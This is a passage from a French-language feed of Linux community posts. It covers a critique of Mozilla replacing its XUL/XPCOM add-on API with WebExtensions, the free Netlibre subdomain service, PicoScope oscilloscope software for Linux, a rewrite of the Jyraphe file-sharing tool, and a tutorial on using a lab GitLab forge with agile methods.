    5. Par conséquent, Mozilla prend le taureau par les cornes et annonce 1) la création d'une nouvelle API nommée WebExtensions, largement compatible avec ce qui se fait ailleurs (Chrome, Edge, etc.) et 2) le retrait de l'ancienne API. Certaines extensions utilisant l'API actuelle mais ne faisant pas d'opérations trop liées au modèle XUL/XPCOM pourront rester fonctionnelles grâce à une couche de compatibilité qui sera maintenue pendant environ 6 mois.

    L'avantage de tout cela est évident : un développement facilité pour Mozilla, une sécurité accrue (puisque les extensions ne peuvent plus faire tout et n'importe quoi) et une compatibilité avec les autres navigateurs améliorée pour les développeurs d'extensions.

    Le problème? Eh bien Mozilla l'énonce clairement dans ce même article :

    XPCOM and XUL are two of the most fundamental technologies to Firefox. The ability to write much of the browser in JavaScript has been a huge advantage for Mozilla. It also makes Firefox far more customizable than other browsers. However, the add-on model that arose naturally from these technologies is extremely permissive. Add-ons have complete access to Firefox’s internal implementation.

    Pour les extensions se bornant à faire des trucs simples, par exemple afficher le nombre de jours restant avec le jour pi ou le thème officiel (ah oui?) de Bob Marley, il n'y a pas vraiment de problème. Même sans action de leurs développeurs, ceux-ci vont continuer à fonctionner pendant quelques mois, et leur conversion vers la nouvelle API devrait être rapide et directe.

    Par contre, pour les extensions plus "sérieuses", rien ne va plus. Le développeur de DownThemAll a d'ailleurs publié une réponse dont le titre suffit à rendre le message : The likely end of DownThemAll?. L'impossibilité d'accéder au coeur de Firefox et de son interface mènera à la disparition d'extensions extrêmement appréciées et utilisées telles que, outre DownThemAll, TreeStyleTab, NoScript, FireGestures, Drag2Go, Greasemonkey, TabMixPlus, FireFTP, FoxyProxy, AllInOne Sidebar et beaucoup d'autres.

    Comprenons-nous bien : on ne parle pas ici d'un classique cassage d'API qui requiert la réécriture de certaines parties de ces extensions pour les rendre compatibles. Non, on parle d'un changement qui rendra ces extensions impossibles à implémenter en tout ou en partie.

    Dans un manifeste espoir de tempérer les critiques, Mozilla indique avoir pris en compte cette situation et que :

    A major challenge we face is that many Firefox add-ons cannot possibly be built using either WebExtensions or the SDK as they currently exist. Over the coming year, we will seek feedback from the development community, and will continue to develop and extend the WebExtension API to support as much of the functionality needed by the most popular Firefox extensions as possible.

    Le problème, c'est que cette position est intenable : soit Mozilla permet un accès aussi complet à partir de sa nouvelle API WebExtensions, et dans ce cas, aucun des problèmes évoqués plus haut n'est résolu. Soit Mozilla refuse d'accorder un tel accès et ne peuvent donc tout simplement pas "supporter le plus possible de fonctionnalités requises par les extensions populaires". Il y a une raison pour lesquelles des extensions telles que celles listées plus haut (TreeStyleTab par exemple) n'existent pas sous Chrome, ou alors en version sévèrement édulcorée : parce que c'est impossible. Par ailleurs, les délais semblent extrêmement optimistes : Mozilla indique vouloir discuter et modifier l'API de WebExtension (pas encore officiellement publiée, par ailleurs) dans la prochaine année, alors que le retrait de l'ancienne API XUL/XPCOM se fera d'ici 12 à 18 mois!

    Au final, oui, cette décision permettra d'aider Mozilla à rendre Firefox potentiellement plus rapide, plus adapté aux ordinateurs actuels et plus sécuritaire, mais c'est aussi une décision qui retire un des derniers éléments clés qui distinguait Firefox des autres navigateurs. Dans mon cas, c'est en partie cette richesse d'extensions qui me retient sur ce navigateur : Firefox est (était?) l'un des derniers navigateurs à la fois capable de suivre l'évolution rapide des technologies du web et de proposer une plateforme flexible et puissante à ses utilisateurs. Peut-être que Mozilla est plus visionnaire que moi et constate que le portrait de ses utilisateurs change, mais pour le moment, je ne peux m'empêcher de constater que Firefox se définit de plus en plus comme un "clone de Chrome"—et que la plupart des clones des logiciels populaires ont mal fini. À laisser un autre nous tracer la voie, on finit par oublier la nôtre…

    En post-scriptum, les précisions d'usage, puisqu'on est samedi maintenant :
    - Non, je ne suggère pas que mon cas reflète fidèlement la totalité des utilisateurs de Firefox. Les quelques statistiques d'utilisation d'extensions indiquent cependant que plusieurs millions de personnes utilisent des extensions qui seront bientôt incompatibles par la force des choses.
    - Non, je ne considère pas les développeurs de Mozilla comme mes esclaves qui devraient exécuter pro bono la moindre de mes volontés. Ils peuvent bien faire ce qu'ils veulent, tout comme je peux également critiquer certaines de leurs décisions si le coeur m'en dit.
    - Non, je ne vais pas forker Firefox "parce que c'est du logiciel libre et que je n'ai qu'à me mettre les doigts dans le cambouis si je ne suis pas content et que ça m'importe tant". Je ne suis pas d'accord avec ce changement, mais je dors tout de même très bien la nuit et je ne fais pas de cette affaire la bataille de ma vie.

    Lire les commentaires

  • Netlibre, un nom de domaine gratuit, facilement administrable (Dépêches LinuxFR)

    Ça y est, l'heure de l'auto-hébergement est arrivée ! La famille a un Raspberry Pi qui sert à partager les montages des plus belles parties de Call of Duty de grand-maman, grand-papa tient un blog de jardinage en milieu urbain, le plus jeune héberge des serveurs de jeu (minetest, xonotic, redeclipse, teeworlds)… le monde est beau !

    Ah mais zut, il faut payer chaque année une petite somme d'argent pour avoir un nom sur le grand 'ternet ! Ce n'est pas bien cher, mais si on veut simplement s'essayer à l'auto-hébergement cela peut être un frein. Il existe cependant une solution…

    Le service netlib.re

    Netlib.re est un service en ligne, basé sur du code libre, qui vous permettra de gérer une zone (un nom de sous-domaine) gratuitement. L'interface est simplifiée au possible pour ne pas décourager les moins aguerris d'entre-nous. Il est possible également d'utiliser ce service comme remplaçant direct de DynDNS, puisqu'avec un simple script on peut mettre à jour sa zone, ce qui est pratique pour les personnes qui ont une IP dynamique.

    Votre nom de sous-domaine ressemblera à "quelque-chose.netlib.re" ou "quelque-chose.codelib.re", en utilisant les deux seuls noms de domaine actuellement disponibles.

    Concrètement, une personne loue un nom de domaine auprès d'un bureau d'enregistrement (moi), et permet à tout le monde de créer des noms de sous-domaines à partir de celui-ci, sans limite de nombre. Le service est hébergé sur l'infrastructure d'Alsace Réseau Neutre, le serveur DNS est redondé (un à Strasbourg, l'autre chez Tetaneutral à Toulouse) n'ayez donc pas trop peur d'une coupure de courant malencontreuse.

    L'avenir sera automatique ou ne sera pas.

    Toujours dans l'idée de conquérir le monde il serait intéressant d'automatiser la création de comptes pour les nouvelles personnes. Dans le cadre de la brique par exemple, on pourrait penser fournir un nom de sous-domaine à chaque personne en même temps qu'on fournit l'appareil. Ainsi, chaque personne souhaitant devenir indépendante pourrait repartir avec un serveur lui permettant de s'héberger à la maison (site web, lecteur de flux rss, galerie d'images, mails, partage de fichiers, torrents…) mais aussi un nom et pourquoi pas bientôt un certificat pour qu'on soit sûr qu'on discute bien avec Gertrude Touchatonq et pas avec un vilain pirate informatique.

    Le choix entre deux noms de domaine, c'est peu !

    Pour l'instant n'importe qui peut choisir entre avoir un nom de domaine en « .netlib.re » ou en « .codelib.re ». C'est assez peu, mais n'hésitez pas à me contacter (via Alsace Réseau Neutre) pour aider financièrement à ajouter des noms de domaine disponibles.

    Le code de netlib.re (section pour dév. et sys/admin)

    Le code de netlib.re est hébergé actuellement sur Github, il est fait avec beaucoup d'amour en langage Perl, et utilise le framework Dancer.
    Le README évoluera dans les semaines à venir pour y inclure une procédure pour installer le programme, ainsi que tous les logiciels nécessaires au bon fonctionnement.

    Pour le moment, le service fonctionne avec un serveur maître Bind9 (avec contrôle rndc), un serveur esclave nsd4 (avec contrôle nsd-control en local), et un serveur web qui discute avec les deux précédents via ssh.
    Donc si vous avez déjà quelque-chose ressemblant, mettre en place votre propre instance du programme sera un jeu d'enfant, et à vous le partage de nom de domaine !

    Lire les commentaires

  • PICOSCOPE : Oscilloscopes numériques sous Linux (Journaux LinuxFR)

    La société britannique Pico Technology produit des oscilloscopes numériques, data logger et autres accessoires de mesure. Dans leur catalogue d'entrée de gamme, on trouve quelques petits oscilloscopes alimentés par USB à des tarifs très abordables et aux performances suffisantes pour le passionné.

    Picoscope

    Ce qui les distingue de la concurrence est que cette société annonce le support de Linux pour leur produit. C'était d'ailleurs ce qui avait guidé mon choix il a quelques années de cela. Mais j'avais vite déchanté, car en guise de support je n'avais eu que les drivers et un fichier d’entête h !

    Leur logiciel de visualisation PicoScope n'était disponible que pour les plate-formes Windows et Mac OS. Certes, cela aurait pu être le début d'un projet de développement logiciel, mais c'est un peu contrariant pour un usage immédiat du produit.

    Je viens de refaire un tour sur le site et, ô surprise, sur la page des téléchargements pour Linux on trouve désormais un lien vers les versions Linux de PicoScope.

    Et on peut y lire :

    Demand for Linux applications is growing steadily in the networking and scientific communities. Linux offers powerful networking and internet facilities, is very robust and there are no licence fees.

    Certes ce n'est pas du logiciel libre et encore moins du matériel libre, mais c'est une bonne nouvelle pour la communauté.

    PicoScope pour Linux est distribué sous forme de dépot deb, zypper et yum. Le logiciel est encore en version en version Bêta, et j'ai pu constaté quelques régressions par rapport à la versions Windows. Gageons que tout n'a pas encore été porté. Mais l'essentiel y est. Vous pouvez vous faire une idée des fonctionnalités en installant le logiciel (gratuit) sur votre machine. Il simulera l'oscilloscope en son absence.

    Lire les commentaires

  • Renaissance de Jyraphe (Journaux LinuxFR)

    Salut à tous!

    Certains d'entre vous se rappellent peut-être de Jyraphe, un logiciel de partage de fichier sur le web très simple et conçu sur le principe KISS qui avait plusieurs fois été annoncé sur linuxfr.

    J'en avais été contributeur à l'époque, et après quelques temps, l'effort de développement était retombé. La dernière version maintenant ancienne continuait à rendre de bons services sur nos serveurs, tandis que son code vieillissait et ses fonctionnalités se démodaient (surtout le système d'upload de fichiers).

    Après ces années d'utilisation, il était apparent que le logiciel pouvait être encore plus simplifié. L'utilisation des fonctions avancées comme les réglages de limite de temps et le mot de passe sont très rarement utilisés, même en entreprise (où Jyraphe est d'habitude uniquement accessible en intranet).

    Le code du projet (en PHP) est aussi écrit dans un style ancien et assez difficilement maintenable. J'ai donc décidé de lui donner un coup de jeune et de le ré-écrire entièrement. Vous pouvez trouver la nouvelle version sur son dépot Gitorious, accompagné des instructions pour une installation rapide. Cette version s'appuie sur un micro-framework pour PHP, ainsi que SQLite pour la base de donnée. Le tout rendant la taille du code à maintenir beaucoup plus faible, et donc plus facile à gérer.

    Les fonctionnalités disponibles sont les suivantes:

    • Upload de fichiers classiques
    • Upload de fichiers par glisser/déposer
    • Les fichiers sont disponibles pour 1 semaine maximum
    • Visualisation des fichiers de type image directement dans le navigateur

    Un logiciel donc toujours très KISS. Les améliorations prévues pour la prochaine version sont:

    • Un indicateur de progression de l'upload
    • Un aperçu du fichier uploadé une fois le transfert terminé (une icone ou une petite version de l'image)
    • Fichier de configuration, notemment pour régler la durée de vie des fichiers
    • Script pour nettoyer les vieux fichiers (déclenché via Cron)

    Liens:
    * Page du projet
    * Documentation et installation
    * Téléchargement

    Lire les commentaires

  • Tutoriel : Comment utiliser la forge GitLab du labo pour gérer un projet ? (Laboratoire Linux SUPINFO)

    Initialiser un nouveau projet :

    1. Créer un compte sur la forge : http://code.labo-linux.org/users/sign_up
    2. Se connecter : http://code.labo-linux.org/users/sign_in
    3. Ajouter votre clé SSH : http://code.labo-linux.org/profile/keys
    4. Créer un nouveau projet : http://code.labo-linux.org/projects/new
    5. Suivre les instructions de lignes de commande GIT à exécuter pour initialiser le dépôt

    Le dossier ainsi créé va suivre les modification de tous vos fichiers. Vous devez maintenant apprendre à utiliser GIT en suivant dans l'ordre cette série de tutoriels : https://www.atlassian.com/fr/git/tutorial

    Si la ligne de commande vous rebute, il y a un client multiplateforme extrèmement complet : http://www.syntevo.com/smartgit/download (veillez à prendre la licence complète gratuite à usage non commercial).

    Pour que le versionnage soit utile, il faut Commit/Push à chaque fois que quelque chose est complété (comme un bug, une fonctionnalité, etc). Cela évite d'avoir des régressions et de pouvoir faire machine arrière le cas échéant.


    Découper son projet en toutes petites étapes :

    Cela permet d'y voir plus clair et de savoir par où commencer. Vous augmenterez votre motivation en évitant la paralysie de la feuille blanche.

    1. Se rendre sur l'interface Issues de votre projet (les liens sont à adapter) : http://code.labo-linux.org/root/demo/issues
    2. Cliquer sur New issue
    3. Décrire une tâche de l'ordre de « faire un hello world avec le framework X », « gérer le login/logout », « envoyer un email sur telle action », « créer une page de statistiques » ...
    4. Optionnellement, vous pouvez rattacher ces issues à des milestones (c'est un jalon, une version)


    Autres fonctionnalités utiles :

    1. Dans les champs texte, GitLab gère des symbols actifs comme le "@" (vous suggèrera les pseudos des membres) et le "#" (vous suggèrera vos issues).
    2. Préciser le numéro d'une issue dans un message de commit créé un référencement du commit dans l'issue. Exemple : le message de commit "Hello World #1" fera apparaitre un nouveau commentaire "mentionned in commit xxxxxx" dans l'issue n°1.
    3. Vous pouvez fermer automatiquement des issues dans vos messages de commit ! À découvrir en lisant ceci : https://about.gitlab.com/2013/09/22/gitlab-community-edition-6-dot-1-released/


    Git est un outil extrèmement puissant que vous découvrirez au fur et à mesure de vos besoins. Travailler en équipe requiers une réelle organisation en dehors de l'outil : répartition de tâches, tests préalables avant toute mise en commun pour limiter l'instabilité du logiciel, découpage en jalons, etc.

    Vous trouverez des réflexions sur les « workflows » (manière de s'organiser) sur cette page : https://www.atlassian.com/fr/git/workflows


    Gestion de projet plus globale

    La gestion d'issues proposée par GitLab ne peut pas se soustraire à une gestion d'équipe plus globale. Les Méthodes Agiles que vous découvrirez pendant votre cursus proposent de grands concepts qui évitent à de votre groupe de s'enrayer :

    1. Une réunion de départ qui dégage les jalons du projet, c'est à dire un premier découpage de ses grandes étapes qui n'entre pas dans le détail mais permet de fixer des échelles de temps
    2. Une revue hebdomadaire obligatoire, qui permet de définir à l'avance un objectif court terme pour l'équipe
    3. Un point journalier rapide, même s'il ne s'est rien passé, où chaque membre de l'équipe doit avouer ses difficultés et exprimer ce qui a été fait. Cela permet d'identifier au plus tôt qui a besoin d'aide.
    4. Une revue de projet (et une seule) toutes les deux semaines / un mois pour statuer sur l'avancée du jalon en cours ainsi que sur la prévision du prochain.

    Cette structuration de l'équipe par des cérémonies ponctuelles dans le temps neutralise l'effet « sous-marin » et permet à chaque membre de l'équipe de savoir où se situent les autres.

    L'objectif n°1 de ces méthodes est de faire passer le client et la qualité du logiciel avant toute chose. En itérant régulièrement, votre travail évoluera sur des bases saines car validerez au fur et à mesure qu'il correspond toujours aux attentes du client. La gestion des bugs devient ainsi prioritaire sur les fonctionnalités, si cela est pertinent. Ce fonctionnement est en totale opposition aux cahiers des charges dont le but est de figer un processus jusqu'à son aboutissement.

    Les Méthodes Agiles sont un genre de framework qui délimite bien d'autres routines d'équipe qui ne sont pas toujours adaptées à la situation : à vous de prendre ce qui vous plait ! C'est l'essence même de ces méthodes.